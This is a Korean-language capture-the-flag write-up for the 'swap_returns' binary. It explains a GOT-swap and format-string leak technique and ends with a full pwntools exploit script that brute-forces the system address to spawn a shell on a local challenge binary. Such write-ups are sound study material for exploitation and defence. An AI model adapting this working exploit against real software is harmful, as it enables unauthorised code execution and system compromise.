문제
swap_returns 바이너리의 checksec 결과는 다음과 같다.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
file 명령어의 결과는 다음과 같다.
swap_returns: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=777bd9bf561cb7af8c22b442f1c146e85f7395c4, not stripped
바이너리 코드
main()
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
...
while ( 1 )
{
while ( 1 )
{
print_menu(*(_QWORD *)&argc, argv);
v3 = read_int();
if ( v3 != 2 )
break;
v6 = *v4;
*v4 = *v5;
*v5 = v6;
v6 = 0LL;
}
if ( v3 == 3 )
{
printf("Bye. ");
_exit(0);
}
if ( v3 == 1 )
{
puts("1st address: ");
__isoc99_fscanf(stdin, "%lu", &v4);
puts("2nd address: ");
argv = (const char **)"%lu";
*(_QWORD *)&argc = stdin;
__isoc99_fscanf(stdin, "%lu", &v5);
}
else
{
printf("Invalid choice. ");
}
}
}
read_int()
__int64 read_int()
{
__int16 buf; // [rsp+6h] [rbp-Ah]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
read(0, &buf, 2uLL);
return (unsigned int)atoi((const char *)&buf);
}
기능은 매우 간단하다. scanf를 통해서 입력한 두 개의 주소에 들어 있는 값을 서로 xchg 해준다.
이를 통해서 got overwrite를 할 수 있다. 하지만 got를 내가 넣어준 입력값으로 변경할 수는 없다. (user input으로 overwrite가 불가능하다.)
여기서 우리가 입력으로 넣으줄 수 있는 곳은 (우리가 유일하게 control 할 수 있는 부분) read_int() 함수의 2바이트를 read하는 부분밖에 없다.
exploit 과정
- atoi_got와 printf_got 값을 서로 바꾸면 buf에 %p를 통해서 rsi에 들어 있는 buf의 주소를 leak할 수 있다.
- 다음 read_int() 함수 호출 때 buf에 2바이트 값을 넣어주면 다시 atoi_got와 printf_got 값을 서로 바꿀 수 있다. (printf의 ret값은 출력한 문자열 개수)
- 스택에 있는 값들을 잘 조합해서 메모리의 특정 영역에 system 함수의 주소를 만든다.
- 앞에서 호출된 printf가 내부적으로 vfprintf를 호출하기 때문에 stack에 vfprintf 함수 관련 주소가 존재한다. 주어진 libc.so.6에서 vfprintf와 system 함수의 offset 차이는 0x81f0이다.
- system 함수의 하위 12bit는 특정 값으로 고정되어 있다.
- system 함수의 13 - 16 bit 값이 8을 넘으면 vfprintf 함수와 system 함수의 17 - 20bit 값이 다르다. (1차이 발생)
- 따라서 system 함수의 주소를 맞출 확률은 (13 - 16비트 값이 8보다 작을 확률) X (0 -7 사이의 숫자 중 정답을 맞출 확률)이 된다. 즉 1/16이다.
- 스택에 있는 값을 조합해서 만든 system 함수의 주소를 atoi의 got 값과 바꾼 후 read 함수에 “sh”를 인자로 준다. system 함수의 주소를 맞추면 쉘을 딸 수 있다.
=> 여기에서는 system 함수 내부에서 호출하는 do_system 함수의 주소가 더 만들기 쉬워서 do_system 함수를 이용했다.(do_system과 system 함수의 offset 차이는 0x580이다.)
c.f) 만약 printf가 한 번도 호출되지 않았을 때 1번을 수행하고 atoi를 호출하면 printf 호출 과정에 의해서 printf_got에 저장되어 있는 atoi_got 값을 printf의 주소값으로 덮어쓰게 된다. 따라서 다시 swap하고 atoi를 호출해도 printf가 호출된다.
풀이
#!/usr/bin/python
from pwn import *
def sel_num(num):
p.recvuntil(": \n")
p.send(num)
file_path="/home/sungyun/round3/swap/swap_returns"
while(1):
p=process(file_path, env={"LD_PRELOAD" : "/home/sungyun/round3/swap/libc.so.6"})
printf_got=0x601038
atoi_got=0x601050
setvbuf_got=0x601048
bss_sec=0x6014c0
sel_num("go")
sel_num("1")
p.recvuntil(": \n")
p.sendline(str(printf_got))
p.recvuntil(": \n")
p.sendline(str(atoi_got))
sel_num("2")
sel_num("%p")
stack=int(p.recv(14),16)
sel_num("%s")
print hex(stack)
sel_num("1")
p.recvuntil(": \n")
p.sendline(str(stack-0x630))
p.recvuntil(": \n")
p.sendline(str(bss_sec))
sel_num("77")
sel_num("2")
sel_num("1")
p.recvuntil(": \n")
p.sendline(str(bss_sec-4))
p.recvuntil(": \n")
p.sendline(str(stack-0x508-5))
sel_num("2")
sel_num("1")
p.recvuntil(": \n")
p.sendline(str(bss_sec-5))
p.recvuntil(": \n")
#p.sendline(str(stack-0x681)) #0x30
p.sendline(str(stack-0x95)) #0x32
sel_num("2")
sel_num("1")
p.recvuntil(": \n")
p.sendline(str(bss_sec+2))
p.recvuntil(": \n")
p.sendline(str(atoi_got))
sel_num("2")
sel_num("sh")
p.sendline("pwd")
try:
msg=p.recv()
if "2. Swap" in msg:
continue
break
except:
p.close()
p.interactive()